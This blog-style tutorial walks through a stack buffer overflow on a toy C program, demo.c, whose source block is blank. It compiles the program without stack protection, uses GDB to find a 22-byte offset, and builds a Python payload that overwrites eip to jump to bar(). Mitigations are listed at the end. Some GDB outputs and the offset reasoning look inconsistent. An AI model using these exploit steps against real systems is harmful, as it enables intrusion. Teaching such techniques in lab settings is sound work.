Buffer Overflow Attack
Buffer Overflow Attack
Buffer overflow vulnerabilities are among the most notorious and exploited weaknesses in software security. They allow attackers to overwrite critical areas of memory, such as the return address (eip), enabling the execution of arbitrary code. In this blog post, we’ll walk through a practical demonstration of exploiting a buffer overflow vulnerability using GDB (GNU Debugger) to overwrite eip and redirect program execution to a target function.
Environment Setup
Before diving into the exploitation process, ensure you have a controlled and authorized environment for conducting these experiments, such as a virtual machine. We’ll use a simple C program demo.c containing a buffer overflow vulnerability as our attack target.
Example Code: demo.c
1 |
|
Compiling the Program
To facilitate the exploitation process, compile the program with specific options to disable compiler protection mechanisms and include debugging information:
1 | gcc -m32 -fno-stack-protector -g demo.c -o demo -w |
-m32: Generates a 32-bit executable (adjust based on your system architecture).-fno-stack-protector: Disables stack protection.-g: Includes debugging information for GDB.-w: Suppresses all warning messages.
Analyzing Vulnerable Code
In demo.c, there are two primary vulnerabilities:
Buffer Overflow Vulnerability:
1
strcpy(buf, input);
- The
strcpyfunction copies theinputstring into the bufferbufwithout performing any bounds checking. Ifinputexceeds the size ofbuf(10 bytes), it will overwrite adjacent memory, including the return address (eip).
- The
Format String Vulnerability:
1
printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
- The
printfstatement includes multiple%pformat specifiers without corresponding arguments, which can lead to information leakage and further exploitation opportunities.
- The
Stack Frame Analysis and Offset Calculation
To successfully overwrite eip, we need to understand the stack frame layout and calculate the exact offset from the buffer buf to the return address eip.
Launching GDB and Setting a Breakpoint
Start GDB with the compiled demo program:
1 | gdb ./demo |
Within GDB, set the program arguments to 22 'A' characters followed by the address of the bar function (to overwrite eip), and set a breakpoint at the foo function:
1 | (gdb) set args $(python3 -c 'import sys; sys.stdout.buffer.write(b"\x41"*22 + b"\xce\x62\x55\x56")') |
Expected Output:
1 | Breakpoint 1, foo (input=0xffffd4a6 "AAAAAAAAAAAAAAAAAAAAAA") at demo.c:16 |
Inspecting the Stack Frame
At the breakpoint, use the info frame command to examine the current stack frame:
1 | (gdb) info frame |
Sample Output:
1 | Stack level 0, frame at 0xffffd4c0: |
Confirming Buffer Address
Use the p &buf command to obtain the address of the buffer buf:
1 | (gdb) p &buf |
Sample Output:
1 | $1 = (char (*)[10]) 0xffffd4a6 |
Viewing Buffer Contents
Examine the contents of the buffer with the x/22xb buf command:
1 | (gdb) x/22xb buf |
Sample Output:
1 | 0xffffd4a6: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 |
Calculating the Offset
Determine the offset from buf to eip by subtracting the buffer address from the saved eip address:
1 | (gdb) print 0xffffd4c0 - 0xffffd4a6 |
Sample Output:
1 | $2 = 22 |
Explanation:
- The offset is 22 bytes, indicating that we need to input 22
'A'characters to reach and overwrite theeip.
Constructing and Executing the Malicious Payload
Obtaining the Address of bar Function
Within GDB, retrieve the address of the bar function:
1 | (gdb) print bar |
Sample Output:
1 | $3 = {<text variable, no debug info>} 0x565562ce <bar> |
Building the Payload
Using Python, construct a payload that consists of 22 'A' characters followed by the little-endian representation of the bar function’s address (0x565562ce):
1 | python3 -c 'import sys; sys.stdout.buffer.write(b"\x41"*22 + b"\xce\x62\x55\x56")' > payload |
Explanation:
b"\x41"*22: Generates 22'A'characters (ASCII0x41).b"\xce\x62\x55\x56": Represents thebarfunction’s address0x565562cein little-endian format.
Executing the Attack in GDB
Set the program arguments to the constructed payload and set a breakpoint at the bar function:
1 | (gdb) set args $(python3 -c 'import sys; sys.stdout.buffer.write(b"\x41"*22 + b"\xce\x62\x55\x56")') |
Expected Output:
1 | Breakpoint 2, bar () at demo.c:... |
Verifying Successful Exploitation
At the breakpoint in the bar function, inspect the current stack frame to confirm that eip points to bar:
1 | (gdb) info frame |
Sample Output:
1 | Stack level 0, frame at 0xffffd4c0: |
Analysis:
eip = 0x565562ce: Points to thebarfunction’s address, confirming thateiphas been successfully overwritten.saved eip = 0x41414141: Indicates that the original return address has been overwritten with'AAAA'.
Continuing Program Execution
Proceed to let the program execute, which should now jump to the bar function:
1 | (gdb) continue |
Expected Output:
1 | Augh! I’ve been hacked! |
This confirms that the buffer overflow attack successfully redirected execution to the bar function.
Verifying Successful Exploitation
To ensure that the attack was successful, observe the following:
Breakpoint Hit in
bar:- GDB pauses execution at the
barfunction, indicating that control flow has been redirected.
- GDB pauses execution at the
Output Confirmation:
- The message
"Augh! I’ve been hacked!"is printed, verifying thatbarwas executed.
- The message
Register Inspection:
- Using
info registers, you can further confirm thateippoints to thebarfunction.
1
(gdb) info registers
Sample Output:
1
2
3
4
5
6
7
8
9eax 0x0 0
ebx 0x0 0
ecx 0x0 0
edx 0x0 0
esi 0x0 0
edi 0x0 0
eip 0x565562ce 0x565562ce <bar>
esp 0xffffd4c0 0xffffd4c0
ebp 0xffffd4c8 0xffffd4c8Analysis:
eip = 0x565562ce: Confirms thateipnow points to thebarfunction, indicating a successful overwrite.
- Using
Principles of Buffer Overflow Attacks
Understanding the underlying principles of buffer overflow attacks is crucial for both exploitation and defense. Here’s a breakdown of the fundamental concepts:
Identifying Vulnerable Code:
- Look for functions that handle input without proper bounds checking, such as
strcpy,gets,scanfwithout length specifiers, etc.
- Look for functions that handle input without proper bounds checking, such as
Understanding Memory Layout:
- Recognize the stack structure, including the placement of buffers, saved frame pointers, and return addresses.
Calculating Offsets:
- Determine the exact number of bytes needed to overwrite the return address by calculating the offset from the buffer to
eip.
- Determine the exact number of bytes needed to overwrite the return address by calculating the offset from the buffer to
Crafting the Payload:
- Create an input that fills the buffer and overwrites the return address with the address of a target function or shellcode.
Executing the Attack:
- Deliver the malicious input to the vulnerable program to redirect execution flow.
Post-Exploitation:
- Depending on the goal, execute arbitrary code, spawn shells, or perform other malicious actions.
Preventing Buffer Overflow Attacks
Buffer overflow attacks can be mitigated through a combination of secure coding practices and compiler/OS-level defenses. Here are some effective strategies:
Use Safe Functions:
- Replace unsafe functions like
strcpy,gets, andsprintfwith their safer counterparts such asstrncpy,fgets, andsnprintfthat include bounds checking.
- Replace unsafe functions like
Enable Stack Protection Mechanisms:
- Utilize compiler options like
-fstack-protectorto insert canary values that detect stack corruption before function returns.
- Utilize compiler options like
Implement Address Space Layout Randomization (ASLR):
- ASLR randomizes the memory addresses used by system and application processes, making it difficult for attackers to predict target addresses.
Enable Data Execution Prevention (DEP/NX):
- DEP marks certain areas of memory as non-executable, preventing execution of injected shellcode.
Conduct Code Audits and Static Analysis:
- Regularly review and analyze code to identify and fix potential buffer overflow vulnerabilities.
Adopt Modern Programming Languages:
- Languages like Python, Java, and Rust inherently manage memory safely, reducing the risk of buffer overflows.
Use Compiler and Linker Features:
- Utilize features like Position Independent Executables (PIE) and stack canaries to enhance security.
Key Takeaways
Identifying Vulnerabilities:
- Functions that handle input without bounds checking are prime targets for buffer overflow attacks.
Stack Frame Analysis:
- Understanding the layout of the stack is essential for calculating the correct offset to overwrite
eip.
- Understanding the layout of the stack is essential for calculating the correct offset to overwrite
Payload Construction:
- Crafting a precise payload that fills the buffer and correctly overwrites
eipis crucial for successful exploitation.
- Crafting a precise payload that fills the buffer and correctly overwrites
Verification:
- Use debugging tools like GDB to confirm that
eiphas been successfully overwritten and that the target function is executed.
- Use debugging tools like GDB to confirm that
Preventative Measures:
- Implementing safe coding practices and leveraging compiler/OS-level defenses can significantly reduce the risk of buffer overflow attacks.
Ethical Considerations:
- Always conduct such experiments in controlled, authorized environments to avoid legal and ethical violations.
